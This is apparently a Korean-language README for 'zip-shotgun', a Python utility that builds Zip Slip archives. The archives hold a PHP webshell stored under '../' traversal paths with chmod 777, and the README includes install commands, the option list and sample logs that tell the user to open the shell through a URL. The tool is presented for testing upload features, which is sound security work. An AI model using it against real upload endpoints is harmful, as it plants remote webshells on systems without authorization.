
ZIP 파일 업로드 기능 (및 ZIP 파일의 추출 가능성)의 취약점 (일명 Zip Slip)을 테스트하는 유틸리티 스크립트
ZIP 파일 업로드 기능(및 압축 파일 추출)의 취약성(일명 Zip Slip)을 테스트하기 위한 유틸리티 스크립트입니다. 이 스크립트에 대한 아이디어는 Silent Signal Techblog - 압축 파일 업로드 및 명령 실행 게시물과 OWASP - 악성 파일 업로드 테스트에서 영감을 받았습니다.
Snyk.io는 이 취약점이 어떻게 동작하는지에 대한 보고서(Zip Slip 취약점)와 다양한 언어로 작성된 취약한 라이브러리를 포함한 GitHub 저장소(Snyk.io Zip Slip GitHub 저장소)를 제공하고 있습니다.
또한 LiveOverflow 채널에서 Zip Slip 및 Zipperdown 취약점에 대해 설명하는 훌륭한 동영상이 있습니다: Critical .zip vulnerabilities? - Zip Slip and ZipperDown
이 스크립트는 파일 이름에 "../"가 포함된 아카이브를 생성합니다. 이를 추출할 경우 파일이 상위 디렉터리로 추출될 수 있습니다. 공격자가 웹 브라우저에서 접근 가능한 디렉터리에 셸을 추출할 수 있습니다.
기본 웹셸은 wwwolf의 PHP 웹셸이며, 모든 크레딧은 WhiteWinterWolf에게 있습니다. 소스는 여기에서 확인할 수 있습니다.
Python pip을 사용하여 설치 (Python 3 필요)
pip3 install zip-shotgun --upgrade
Git 저장소를 클론하여 설치
git clone https://github.com/jpiechowka/zip-shotgun.git
복제된 저장소의 루트 디렉터리(setup.py 파일이 있는 곳)에서 실행
pip3 install . --upgrade
Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE
Options:
--version 버전을 표시하고 종료합니다.
-c, --directories-count INTEGER
zip 파일 내에서 되돌아갈 디렉터리 개수 (예: 3을 설정하면 shell.php, ../shell.php, ../../shell.php 등 3개의 파일이 zip에 추가됨)
[default: 16]
-n, --shell-name TEXT 생성된 zip 파일 내 셸의 이름 (예: shell). 제공되지 않으면 랜덤 생성됩니다. 공백 문자를 포함할 수 없습니다.
-f, --shell-file-path PATH 셸 코드가 포함된 파일 경로. 이 옵션이 제공되지 않으면 wwwolf
(https://github.com/WhiteWinterWolf/wwwolf-
php-webshell) PHP 셸이 추가됩니다. 이름이 제공되면 해당 이름으로 zip에 추가되며, 제공되지 않으면 랜덤 생성됩니다.
--compress 압축 활성화. 이 플래그가 설정되면 아카이브가 DEFLATE 알고리즘(압축 수준 9)으로 압축됩니다. 기본적으로 압축이 적용되지 않습니다.
-h, --help 이 메시지를 표시하고 종료합니다.
모든 기본 옵션 사용
zip-shotgun archive.zip
스크립트 출력의 일부
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
...
12/Dec/2018 Wed 23:13:13 +0100 | INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL
기본 옵션 사용 및 아카이브 파일 압축 활성화
zip-shotgun --compress archive.zip
스크립트 출력의 일부
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:16:13 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
...
12/Dec/2018 Wed 23:16:13 +0100 | INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL
기본 옵션 사용 및 아카이브 내 되돌아갈 디렉터리 개수를 3으로 변경
zip-shotgun --directories-count 3 archive.zip
zip-shotgun -c 3 archive.zip
스크립트는 아카이브에 총 3개의 파일을 작성합니다.
스크립트 출력의 일부
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
12/Dec/2018 Wed 23:17:43 +0100 | INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL
기본 옵션 사용, 아카이브 내 셸 이름 제공 및 압축 활성화
셸 이름에는 공백 문자가 포함될 수 없습니다.
zip-shotgun --shell-name custom-name --compress archive.zip
zip-shotgun -n custom-name --compress archive.zip
아카이브 내 셸 파일의 이름은 사용자가 제공한 이름으로 설정됩니다.
스크립트 출력의 일부
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:19:12 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../../custom-name.php
...
12/Dec/2018 Wed 23:19:12 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL
사용자 정의 셸 파일 제공, 아카이브 내 이름은 랜덤 사용. 디렉터리 개수 3으로 설정
zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip
zip-shotgun -c 3 -f ./custom-shell.php archive.zip
셸 코드는 사용자가 제공한 파일에서 추출됩니다. 아카이브 내 이름은 랜덤 생성됩니다.
스크립트 출력의 일부
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:21:37 +0100 | WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf
12/Dec/2018 Wed 23:21:37 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Getting file extension from provided shell file for reuse: php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php
12/Dec/2018 Wed 23:21:37 +0100 | INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL
사용자 정의 셸 파일 제공 및 아카이브 내 저장할 셸 이름 설정. 디렉터리 개수 3, 압축 사용
zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip
zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip
셸 코드는 사용자가 제공한 파일에서 추출됩니다. 아카이브 내 이름은 사용자가 제공한 이름으로 설정됩니다.
스크립트 출력의 일부
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:25:19 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Getting file extension from provided shell file for reuse: php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Writing file to the archive: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
12/Dec/2018 Wed 23:25:19 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL